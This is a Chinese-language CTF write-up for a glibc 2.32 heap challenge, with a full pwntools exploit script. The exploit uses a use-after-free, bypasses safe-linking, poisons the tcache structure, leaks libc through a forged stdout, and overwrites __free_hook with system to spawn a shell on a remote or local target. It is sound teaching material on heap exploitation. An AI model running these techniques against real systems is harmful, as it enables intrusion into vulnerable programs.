题目分析

存在增删改查功能

add 最大申请0x80的堆块,且不能超过16个

dele free堆块后未作清零操作,存在uaf

show 只能show1次

edit 功能只能修改2次

利用思路

泄露堆块基址

由于程序中dele功能free掉堆块后并未对指针做清空操作,所以这里直接可以打印出safe-linking后的堆块基地址

1
2
3
4
5
6
7
add(0x80,"a"*8) 
dele()
show()
heap_base = u64(sh.recv(6).ljust(8,"\x00"))*0x1000
# heap_base = u64(sh.recv(6).ljust(8,"\x00"))<<12
log.info("heap_base => 0x%x",heap_base)
tcache_addr = heap_base + 0x10 # 避过tcache的size位

绕过safe-linking及泄露main_arena

利用uaf申请堆块到tcache的结构体中,这里绕过safe-linking很简单,对着源码 反向偏移,在异或一下原先的地址即可完成绕过

1
2
3
4
tcache_addr = heap_base + 0x10 # 避过tcache的size位
edit(p64(0)*2)
dele()
edit(p64(tcache_addr^(tcache_addr>>12))+p64(tcache_addr))

之后正常情况下我们只用修改在tcache中大于0x80的堆块的数量位为7之后

再free掉一个堆块就可泄露出*main_arena的地址*

但由于程序限制只有两次edit的功能,所以就要避开常规的思路来另辟蹊径了。

通过malloc(heap_base+0x10)将堆块申请到tcache的结构体中,从而使tcache成为一个可使用的合法堆块(为什么要0x290是因为这里不能太小,否则在后续里的利用中会占用小堆快的数量位,而0x290却又是一个现成可利用的存在size位的堆块

1
2
3
4
5
6
7
edit(p64(tcache_addr^(tcache_addr>>12))+p64(tcache_addr))
add(0x80,"b"*8)
# add(0x80,p64(0)+p64(0x0007000000000000)) #该条是为测试0x290大小的堆块在tcache数量位中所在的位置而使用
add(0x80,(p64(0)*9)+p64(0x0007000000000000))
# 使idx_2 落在tcache结构体中,并设置tcache中0x290 bins的数量为7
# 为后续直接利用IO_stdout打印libc_base做准备
dele()

再将该堆块free掉,即可得到main_arena+96的地址

详细的libc_2.32 分析可以看这篇文章 https://www.anquanke.com/post/id/236186

控制IO_stdout打印libc

到这里之后我们得到的就是一个与tcache结构体重叠且被free过后的0x290的堆块,而tcache的话我们都知道存在一个控制器对应着每一个堆块数量的fd指针,上面保存着该大小堆快下一个要申请的堆块地址,接下来我们就是要控制0x50的下一个堆块地址指向IO_stdout中

正常来讲,如果要控制该地址指向IO结构体中,只需要我们将上一步申请的堆块地址(tcache+0x10)修改为这个地址的-0x8处,即可将main_arena的地址落到该控制器上,继而再用edit功能修改main_arena后4位为stdout的地址即可

但是这里我们已经没有edit功能可用,就只能利用add功能来一步步对0x290这个被free过后的堆块进行布局,最终将堆块申请到0x50bins控制器-0x8的地址上了,也就是0x290的bk放到tcache的控制器上

而在这个同时,我们要提前布置好一些存在于tcache中0x50和0x80 堆块的数量

1
add(0x80,p64(0x0001000000000000)+p64(0x0000000100000000))

之后malloc一个0x10的堆块,带上size位也就是0x20大小,使新建的bk指针正好落在tcache 0x50堆块的控制器上,进而在对末位4位进行覆盖,覆盖为IO_stdout的地址。与此同时当申请下一个堆块时,也可以控制tcache中0x80堆块的控制器

1
add(0x10,p64(0)+b'\xc0\x16')# 0x7ffff7fc16c0 <_IO_2_1_stdout_>

接下来,先申请堆块到IO_stdout上,来泄露libc_base

1
2
3
4
5
6
7
8
9
    add(0x40,p64(0xfbad1800)+p64(1)*3+'\x00')
    std_out132 = u64(sh.recv(6).ljust(8,"\x00"))
    success("std_out132 => 0x%x",std_out132)
    libc_base = (std_out132 - 132) - libc.sym["_IO_2_1_stdout_"]
    free_hook = libc_base + libc.sym["__free_hook"]
    system = libc_base + libc.sym["system"]
    success("system => 0x%x",system)
    success("libc_base => 0x%x",libc_base)
    success("free_hook => 0x%x",free_hook)

Getshell

至此泄露处libc后计算free_hook与system的地址,再继续malloc堆块,先将该堆块申请到tcache中的0x80的地方,并把地址填充为free_hook的地址

1
add2(0x20,p64(free_hook))

(这里对应着前面的add(0x80,p64(0x0001000000000000)+p64(0x0000000100000000))

之后再次申请到的堆块便是free_hook的地址,并直接填充上system地址后,通过新建包含”/bin/sh”字符串的堆块进行free,最后getshell

1
2
3
add2(0x70,p64(system))
add2(0x10,"/bin/sh\x00")
dele()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - libc_addr
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./pwn" # 本地ELF
libc_addr = "./libc.so.6" # Libc文件
pro_libc = "./libc.so.6"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
# one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
def add(size,content):
sh.recvuntil(">>")
sh.sendline("1")
sh.recvuntil("Size:\n")
sh.sendline(str(size))
sh.recvuntil("Content:\n")
sh.send(str(content))
def dele():
sh.recvuntil(">>")
sh.sendline("2")
def show():
sh.recvuntil(">>")
sh.sendline("3")
def edit(content):
sh.recvuntil(">>")
sh.sendline("5")
sh.recvuntil("Content:\n")
sh.send(str(content))
def add2(size,content):
sh.recvuntil(">>")
sh.sendline("1")
sh.recvuntil("Size:")
sh.sendline(str(size))
sh.recvuntil("Content:")
sh.send(str(content))
# 1
add(0x80,"a"*8)
dele()
show()
heap_base = u64(sh.recv(6).ljust(8,"\x00"))*0x1000
# heap_base = u64(sh.recv(6).ljust(8,"\x00"))<<12
log.info("heap_base => 0x%x",heap_base)
tcache_addr = heap_base + 0x10 # 避过tcache的size位
# 2
edit(p64(0)*2)
dele()
edit(p64(tcache_addr^(tcache_addr>>12))+p64(tcache_addr))
add(0x80,"b"*8)
# add(0x80,p64(0)+p64(0x0007000000000000)) #该条是为测试0x290大小的堆块在tcache数量位中所在的位置而使用
add(0x80,(p64(0)*9)+p64(0x0007000000000000))
# 使idx_2 落在tcache结构体中,并设置tcache中0x290 bins的数量为7
# 为后续直接利用IO_stdout打印libc_base做准备
dele()
# 3
add(0x80,p64(0x0001000000000000)+p64(0x0000000100000000))
# 0x50*1 AND 0x80*1
add(0x10,p64(0)+'\xc0\x16')
# 指向 IO_stdout
add(0x40,p64(0xfbad1800)+p64(1)*3+'\x00')
std_out132 = u64(sh.recv(6).ljust(8,"\x00"))
success("std_out132 => 0x%x",std_out132)
libc_base = (std_out132 - 132) - libc.sym["_IO_2_1_stdout_"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("system => 0x%x",system)
success("libc_base => 0x%x",libc_base)
success("free_hook => 0x%x",free_hook)
# one_gg = one_ggs[1]+libc_base
add2(0x20,p64(free_hook))
# debug()

add2(0x70,p64(system))
add2(0x10,"/bin/sh\x00")
dele()
# debug()

return sh

def exp_2():


if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()